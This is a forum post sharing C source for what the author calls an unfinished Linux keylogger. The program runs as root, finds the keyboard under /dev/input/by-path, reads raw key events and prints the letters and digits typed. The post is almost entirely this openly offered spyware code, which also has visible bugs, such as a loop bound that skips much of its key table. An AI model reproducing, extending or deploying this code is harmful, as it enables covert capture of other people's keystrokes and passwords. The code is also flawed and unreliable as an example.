[c] Linux keylogger

titbang · 08-11-2017, 02:57 AM

An unfinished keylogger for Linux which automatically detects the default input device.

Code:
#include <stdio.h>
#include <linux/input.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <cstring>
#include <stdlib.h>

#define di_path "/dev/input/by-path"
#define pattern "event-kbd"

typedef struct KEYS
{
    int key_code;
    const char* key_value;
}
KEYS;

KEYS keys[] =
{
    {30,"a"},
    {48,"b"},
    {46,"c"},
    {32,"d"},
    {18,"e"},
    {33,"f"},
    {34,"g"},
    {35,"h"},
    {23,"i"},
    {36,"j"},
    {37,"k"},
    {38,"l"},
    {50,"m"},
    {49,"n"},
    {24,"o"},
    {25,"p"},
    {16,"q"},
    {19,"r"},
    {31,"s"},
    {20,"t"},
    {22,"u"},
    {47,"v"},
    {17,"w"},
    {45,"x"},
    {21,"y"},
    {44,"z"},
    {2,"1"},
    {3,"2"},
    {4,"3"},
    {5,"4"},
    {6,"5"},
    {7,"6"},
    {8,"7"},
    {9,"8"},
    {10,"9"},
    {11,"0"},
};


void identify_key( int key_code )
{
    char* command = new char[260];

    for( unsigned int x = 0; x < sizeof( KEYS ) * 2; x++)
    {
        if( key_code == keys[x].key_code )
        {
	        printf( "Keypress: %s\r\n", keys[x].key_value );
        }
    }
}

int get_kbd_state( int device_id )
{
    struct input_event ev[64];

    int rd, size = sizeof (struct input_event);

    if ((rd = read (device_id, ev, size * 64)) < size) {
        return -1;
    }
    for (unsigned int i = 0; i < rd / sizeof(struct input_event); i++)
    {
        if (ev[i].type == 1 && ev[i].value == 1)
        {
            return ev[i].code;
        }
    }
    return 0;
}

char* find_kbd_device( )
{
    struct dirent *ent;
    DIR* dir;

    if ((dir = opendir( di_path )) != NULL )
    {
        while ((ent = readdir (dir)) != NULL)
        {
            if( strstr( ent->d_name, pattern) != NULL ) {
                return ent->d_name;
            }
        }
        closedir (dir);
    }
    return NULL;
}

int main (int argc, char *argv[])
{
    int code = 0;
    char* path = new char[260];
    char* device_id;

    if( getuid() != 0) {
        return 1;
    }
    if(argc == 1 )
    {
        device_id = find_kbd_device();

        if( device_id == NULL ) {
            return 2;
        } else {
            sprintf( path, "%s/%s", di_path, device_id);
        }
    } else {
        sprintf( path, "%s", argv[1]);
    }

    int fd = open(path, O_RDONLY );

    if ( fd != -1 )
    {
        do  {
            code = get_kbd_state( fd );
            if( code != 0 ) {
                identify_key( code );
            }
        }
        while( code != -1 );
    }
    else {
        return 3;
    }
    return 0;
}

[c] Linux keylogger
Author Message